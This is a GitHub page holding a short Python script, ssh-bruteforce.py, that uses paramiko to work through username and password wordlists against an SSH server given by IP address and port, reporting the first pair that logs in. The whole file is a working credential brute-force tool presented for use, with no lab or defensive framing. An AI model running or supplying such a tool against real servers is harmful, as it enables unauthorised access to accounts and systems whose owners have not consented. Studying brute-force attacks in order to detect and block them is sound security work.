-
Notifications
You must be signed in to change notification settings - Fork 0
/
ssh-bruteforce.py
61 lines (51 loc) · 2.22 KB
/
ssh-bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import paramiko
import argparse
def ssh_connect(target, port, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=port, username=username, password=password)
ssh.close()
return True
except paramiko.AuthenticationException:
return False
except paramiko.SSHException as e:
print(f"SSH error occurred: {e}")
return False
except paramiko.ssh_exception.NoValidConnectionsError as e:
print(f"Unable to establish SSH connection: {e}")
return False
except Exception as e:
print(f"An unexpected error occurred: {e}")
return False
def bruteforce_ssh(target, port, usernames, passwords):
try:
with open(usernames, 'r') as users_file:
with open(passwords, 'r') as passwords_file:
for username in users_file:
username = username.strip()
passwords_file.seek(0)
for password in passwords_file:
password = password.strip()
if ssh_connect(target, port, username, password):
print(f"Credentials found: {username}:{password}")
return
print("No matching credentials found.")
except FileNotFoundError:
print("File not found.")
except PermissionError:
print("Insufficient permissions to read the file.")
except Exception as e:
print(f"An error occurred: {e}")
def main():
parser = argparse.ArgumentParser(description="SSH Password Bruteforcer")
parser.add_argument("-i", "--ip", dest="target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=22, help="SSH port (default: 22)")
parser.add_argument("-u", "--users", help="Location of the usernames file")
parser.add_argument("-pw", "--passwords", help="Location of the passwords file")
args = parser.parse_args()
if args.target is None:
parser.error("Please provide the target IP address using the -i or --ip option.")
bruteforce_ssh(args.target, args.port, args.users, args.passwords)
if __name__ == "__main__":
main()